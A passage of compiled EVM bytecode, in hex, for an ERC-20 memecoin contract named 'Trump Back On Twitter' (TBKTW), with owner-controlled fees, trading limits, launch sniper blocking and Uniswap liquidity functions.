35b3480156103cf57600080fd5b506103d8610d9b565b005b3480156103e657600080fd5b506103ef610e34565b005b3480156103fd57600080fd5b5061041860048036038101906104139190613df1565b610ee7565b6040516104259190613c13565b60405180910390f35b34801561043a57600080fd5b506104436110f0565b6040516104509190613e53565b60405180910390f35b34801561046557600080fd5b50610480600480360381019061047b9190613d62565b6110f9565b60405161048d9190613c13565b60405180910390f35b3480156104a257600080fd5b506104ab611119565b6040516104b89190613cdb565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190613e6e565b61113f565b005b3480156104f657600080fd5b50610511600480360381019061050c9190613e6e565b61171b565b005b34801561051f57600080fd5b5061053a60048036038101906105359190613d62565b6118cf565b6040516105479190613d9e565b60405180910390f35b34801561055c57600080fd5b5061057760048036038101906105729190613e9b565b611918565b005b34801561058557600080fd5b5061058e611adc565b60405161059b9190613e53565b60405180910390f35b3480156105b057600080fd5b506105b9611aef565b6040516105c69190613eea565b60405180910390f35b3480156105db57600080fd5b506105e4611b18565b6040516105f19190613d9e565b60405180910390f35b34801561060657600080fd5b5061060f611b1e565b60405161061c9190613cdb565b60405180910390f35b34801561063157600080fd5b5061063a611b44565b6040516106479190613afd565b60405180910390f35b34801561065c57600080fd5b50610665611b81565b6040516106729190613dd6565b60405180910390f35b34801561068757600080fd5b506106a2600480360381019061069d9190613d22565b611b95565b005b3480156106b057600080fd5b506106cb60048036038101906106c69190613bb8565b611c7e565b6040516106d89190613c13565b60405180910390f35b3480156106ed57600080fd5b506106f6611cda565b6040516107039190613d9e565b60405180910390f35b34801561071857600080fd5b50610733600480360381019061072e9190613f31565b611ce0565b005b34801561074157600080fd5b5061074a611ea0565b6040516107579190613dd6565b60405180910390f35b34801561076c57600080fd5b50610775611eb4565b6040516107829190613e53565b60405180910390f35b34801561079757600080fd5b506107a0611ec7565b6040516107ad9190613dd6565b60405180910390f35b3480156107c257600080fd5b506107cb611edb565b6040516107d89190613d9e565b60405180910390f35b3480156107ed57600080fd5b506107f6611ee1565b005b34801561080457600080fd5b5061080d611fcb565b60405161081a9190613e53565b60405180910390f35b34801561082f57600080fd5b5061084a60048036038101906108459190613e9b565b611fde565b6040516108579190613d9e565b60405180910390f35b34801561086c57600080fd5b5061088760048036038101906108829190613f71565b612065565b005b34801561089557600080fd5b506108b060048036038101906108ab9190614000565b6121b1565b005b3480156108be57600080fd5b506108c76122d1565b6040516108d49190613d9e565b60405180910390f35b3480156108e957600080fd5b5061090460048036038101906108ff9190614093565b6122d7565b005b34801561091257600080fd5b5061092d60048036038101906109289190613d62565b6123df565b60405161093a9190613c13565b60405180910390f35b60606040518060400160405280601581526020017f5472756d70204261636b204f6e20547769747465720000000000000000000000815250905090565b600043600c541180156109dd5750600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156109ef576109ee3343600161243a565b5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610acd9190613d9e565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6490614132565b60405180910390fd5b600f60ff168360ff1611158015610b8b5750600f60ff168260ff1611155b8015610b9e5750600f60ff168160ff1611155b610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd49061419e565b60405180910390fd5b82600b60026101000a81548160ff021916908360ff16021790555081600b60036101000a81548160ff021916908360ff16021790555080600b60046101000a81548160ff021916908360ff160217905550505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde90614132565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60036020528060005260406000206000915054906101000a900460ff1681565b60006009600a610d729190614320565b64174876e800610d82919061436b565b905090565b600b60059054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2090614132565b60405180910390fd5b610e3247612564565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb990614132565b60405180910390fd5b600560009054906101000a900460ff16610edb57600080fd5b610ee56001612702565b565b6000610ef161276b565b610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2790614411565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146110dc5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105b9190614431565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6110e78484846127f0565b90509392505050565b60006009905090565b60046020528060005260406000206000915054906101000a900460ff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c490614132565b60405180910390fd5b600560009054906101000a900460ff161561121d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611214906144b1565b60405180910390fd5b60008111611260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112579061451d565b60405180910390fd5b6001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611418573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143c9190614552565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000479050818110156114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb906145cb565b60405180910390fd5b60006114cf306118cf565b905060008111611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90614637565b60405180910390fd5b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a79190614552565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401611603929190614657565b6020604051808303816000875af1158015611622573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116469190614552565b90506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061170182612f81565b61170d8285600061316b565b611715613249565b50505050565b6000611726336118cf565b90508082111561176b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611762906146cc565b60405180910390fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117ba9190614431565b9250508190555081600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461181091906146ec565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118759190613d9e565b60405180910390a33373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6836040516118c39190613d9e565b60405180910390a25050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d90614132565b60405180910390fd5b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60029054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600581526020017f54424b5457000000000000000000000000000000000000000000000000000000815250905090565b600b60079054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1a90614132565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611c8861276b565b611cc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbe90614411565b60405180910390fd5b611cd23384846127f0565b905092915050565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6590614132565b60405180910390fd5b600060016103e88461ffff166009600a611d889190614320565b64174876e800611d98919061436b565b611da2919061436b565b611dac9190614771565b611db691906146ec565b9050600654811015611dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df4906147ee565b60405180910390fd5b80600681905550600060016103e88461ffff166009600a611e1e9190614320565b64174876e800611e2e919061436b565b611e38919061436b565b611e429190614771565b611e4c91906146ec565b9050600754811015611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a9061485a565b60405180910390fd5b8060078190555050505050565b600b60009054906101000a900461ffff1681565b600b60039054906101000a900460ff1681565b600b60099054906101000a900461ffff1681565b60095481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690614132565b60405180910390fd5b6000611f7a306118cf565b905060008111611fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb6906148c6565b60405180910390fd5b611fc881613377565b50565b600b60049054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ea90614132565b60405180910390fd5b82600b60056101000a81548161ffff021916908361ffff16021790555081600b60076101000a81548161ffff021916908361ffff16021790555080600b60096101000a81548161ffff021916908361ffff160217905550600b60099054906101000a900461ffff16600b60079054906101000a900461ffff16600b60059054906101000a900461ffff1661218791906148e6565b61219191906148e6565b600b806101000a81548161ffff021916908361ffff160217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461223f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223690614132565b60405180910390fd5b8263ffffffff168463ffffffff166009600a61225b9190614320565b64174876e80061226b919061436b565b612275919061436b565b61227f9190614771565b6008819055508063ffffffff168263ffffffff166009600a6122a19190614320565b64174876e8006122b1919061436b565b6122bb919061436b565b6122c59190614771565b60098190555050505050565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235c90614132565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516123d4919061497d565b60405180910390a150565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146124305760019050612435565b600090505b919050565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124d357506000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561255f5781600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561255e57600b600081819054906101000a900461ffff168092919061254290614998565b91906101000a81548161ffff021916908361ffff160217905550505b5b505050565b6000600b60099054906101000a900461ffff16600b60079054906101000a900461ffff1661259291906148e6565b90506000600b60079054906101000a900461ffff1661ffff16111561264957600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60079054906101000a900461ffff1661ffff1685612612919061436b565b61261c9190614771565b9081150290604051600060405180830381858888f19350505050158015612647573d6000803e3d6000fd5b505b6000600b60099054906101000a900461ffff1661ffff1611156126fe57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60099054906101000a900461ffff1661ffff16856126c7919061436b565b6126d19190614771565b9081150290604051600060405180830381858888f193505050501580156126fc573d6000803e3d6000fd5b505b5050565b43600c54118061271457506000600c54145b612753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274a90614a0e565b60405180910390fd5b8060ff164361276291906146ec565b600c8190555050565b60008060009050600560009054906101000a900460ff161561279057600190506127e9565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036127e857600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561285b5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61289a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289190614a7a565b60405180910390fd5b43600c5411156129d1577f000000000000000000000000000000000000000000000000000000000000000063ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff16846128fd9190614a9a565b73ffffffffffffffffffffffffffffffffffffffff1603612927576129226001612702565b6129cc565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361297f5761297a8343600161243a565b6129cb565b6129ca83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061243a565b5b5b612ad2565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612a6457612a6383600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061243a565b5b600a600c54612a7391906146ec565b43108015612a91575064174876e80048612a8d91906146ec565b3a10155b15612ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac890614b17565b60405180910390fd5b5b600560009054906101000a900460ff168015612b2e57506000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015612b78575043600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15612bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baf90614b83565b60405180910390fd5b601160149054906101000a900460ff16158015612c1e5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c2c57612c2b613528565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612c9457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612cec575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612d3c57612cfc8484846136c3565b612d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3290614bef565b60405180910390fd5b5b6000612d4985858561385a565b905060008184612d599190614431565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da69190614431565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612e815781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3d91906146ec565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ecc91906146ec565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612f6c9190613d9e565b60405180910390a36001925050509392505050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015613168577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161315f9190613d9e565b60405180910390a35b50565b6000816131965760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b81526004016131fd96959493929190614c4a565b60606040518083038185885af115801561321b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132409190614cc0565b50505050505050565b60054361325691906146ec565b600c819055506009600a61326a9190614320565b6127106009600a61327b9190614320565b64174876e80061328b919061436b565b6019613297919061436b565b6132a19190614771565b6132ab91906146ec565b6006819055506009600a6132bf9190614320565b6127106009600a6132d09190614320565b64174876e8006132e0919061436b565b60326132ec919061436b565b6132f69190614771565b61330091906146ec565b6007819055506007600b60026101000a81548160ff021916908360ff160217905550600f600b60036101000a81548160ff021916908360ff1602179055506007600b60046101000a81548160ff021916908360ff1602179055506001600560006101000a81548160ff021916908315150217905550565b61338081612f81565b6000600267ffffffffffffffff81111561339d5761339c614d13565b5b6040519080825280602002602001820160405280156133cb5781602001602082028036833780820191505090505b50905030816000815181106133e3576133e2614d42565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061345457613453614d42565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016134f2959493929190614e2f565b600060405180830381600087803b15801561350c57600080fd5b505af1158015613520573d6000803e3d6000fd5b505050505050565b6001601160146101000a81548160ff021916908315150217905550600061354e306118cf565b9050600854811015801561356e5750600560009054906101000a900460ff165b156136a55760095481106135825760095490505b60006002600b8054906101000a900461ffff1661ffff16600b60059054906101000a900461ffff1661ffff16846135b9919061436b565b6135c39190614771565b6135cd9190614771565b9050600081836135dd9190614431565b90506009600a6135ed9190614320565b811061368957600047905061360182613377565b6000814761360f9190614431565b90506000600b60059054906101000a900461ffff1661ffff161115613686576000600b8054906101000a900461ffff1661ffff16600b60059054906101000a900461ffff1661ffff1683613663919061436b565b61366d9190614771565b905061367885612f81565b6136848582600061316b565b505b50505b600047905060008111156136a1576136a081612564565b5b5050505b506000601160146101000a81548160ff021916908315150217905550565b60008060019050600560009054906101000a900460ff1680156137305750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137865750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561384f5760065483111561379e576000905061384e565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613843575060075483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461384191906146ec565b115b1561384d57600090505b5b5b809150509392505050565b600080600560009054906101000a900460ff1615806138c25750600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806139165750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156139245760009050613a59565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156139a7576064600b60029054906101000a900460ff1660ff1684613996919061436b565b6139a09190614771565b9050613a58565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613a2a576064600b60039054906101000a900460ff1660ff1684613a19919061436b565b613a239190614771565b9050613a57565b6064600b60049054906101000a900460ff1660ff1684613a4a919061436b565b613a549190614771565b90505b5b5b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a9e578082015181840152602081019050613a83565b83811115613aad576000848401525b50505050565b6000601f19601f8301169050919050565b6000613acf82613a64565b613ad98185613a6f565b9350613ae9818560208601613a80565b613af281613ab3565b840191505092915050565b60006020820190508181036000830152613b178184613ac4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613b4f82613b24565b9050919050565b613b5f81613b44565b8114613b6a57600080fd5b50565b600081359050613b7c81613b56565b92915050565b6000819050919050565b613b9581613b82565b8114613ba057600080fd5b50565b600081359050613bb281613b8c565b92915050565b60008060408385031215613bcf57613bce613b1f565b5b6000613bdd85828601613b6d565b9250506020613bee85828601613ba3565b9150509250929050565b60008115159050919050565b613c0d81613bf8565b82525050565b6000602082019050613c286000830184613c04565b92915050565b600060ff82169050919050565b613c4481613c2e565b8114613c4f57600080fd5b50565b600081359050613c6181613c3b565b92915050565b600080600060608486031215613c8057613c7f613b1f565b5b6000613c8e86828701613c52565b9350506020613c9f86828701613c52565b9250506040613cb086828701613c52565b9150509250925092565b6000613cc582613b24565b9050919050565b613cd581613cba565b82525050565b6000602082019050613cf06000830184613ccc565b92915050565b613cff81613bf8565b8114613d0a57600080fd5b50565b600081359050613d1c81613cf6565b92915050565b60008060408385031215613d3957613d38613b1f565b5b6000613d4785828601613b6d565b9250506020613d5885828601613d0d565b9150509250929050565b600060208284031215613d7857613d77613b1f565b5b6000613d8684828501613b6d565b91505092915050565b613d9881613b82565b82525050565b6000602082019050613db36000830184613d8f565b92915050565b600061ffff82169050919050565b613dd081613db9565b82525050565b6000602082019050613deb6000830184613dc7565b92915050565b600080600060608486031215613e0a57613e09613b1f565b5b6000613e1886828701613b6d565b9350506020613e2986828701613b6d565b9250506040613e3a86828701613ba3565b9150509250925092565b613e4d81613c2e565b82525050565b6000602082019050613e686000830184613e44565b92915050565b600060208284031215613e8457613e83613b1f565b5b6000613e9284828501613ba3565b91505092915050565b60008060408385031215613eb257613eb1613b1f565b5b6000613ec085828601613b6d565b9250506020613ed185828601613b6d565b9150509250929050565b613ee481613b44565b82525050565b6000602082019050613eff6000830184613edb565b92915050565b613f0e81613db9565b8114613f1957600080fd5b50565b600081359050613f2b81613f05565b92915050565b60008060408385031215613f4857613f47613b1f565b5b6000613f5685828601613f1c565b9250506020613f6785828601613f1c565b9150509250929050565b600080600060608486031215613f8a57613f89613b1f565b5b6000613f9886828701613f1c565b9350506020613fa986828701613f1c565b9250506040613fba86828701613f1c565b9150509250925092565b600063ffffffff82169050919050565b613fdd81613fc4565b8114613fe857600080fd5b50565b600081359050613ffa81613fd4565b92915050565b6000806000806080858703121561401a57614019613b1f565b5b600061402887828801613feb565b945050602061403987828801613feb565b935050604061404a87828801613feb565b925050606061405b87828801613feb565b91505092959194509250565b61407081613cba565b811461407b57600080fd5b50565b60008135905061408d81614067565b92915050565b6000602082840312156140a9576140a8613b1f565b5b60006140b78482850161407e565b91505092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b600061411c602a83613a6f565b9150614127826140c0565b604082019050919050565b6000602082019050818103600083015261414b8161410f565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000614188600c83613a6f565b915061419382614152565b602082019050919050565b600060208201905081810360008301526141b78161417b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115614244578086048111156142205761421f6141be565b5b600185161561422f5780820291505b808102905061423d856141ed565b9450614204565b94509492505050565b60008261425d5760019050614319565b8161426b5760009050614319565b8160018114614281576002811461428b576142ba565b6001915050614319565b60ff84111561429d5761429c6141be565b5b8360020a9150848211156142b4576142b36141be565b5b50614319565b5060208310610133831016604e8410600b84101617156142ef5782820a9050838111156142ea576142e96141be565b5b614319565b6142fc84848460016141fa565b92509050818404811115614313576143126141be565b5b81810290505b9392505050565b600061432b82613b82565b915061433683613c2e565b92506143637fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461424d565b905092915050565b600061437682613b82565b915061438183613b82565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156143ba576143b96141be565b5b828202905092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b60006143fb601083613a6f565b9150614406826143c5565b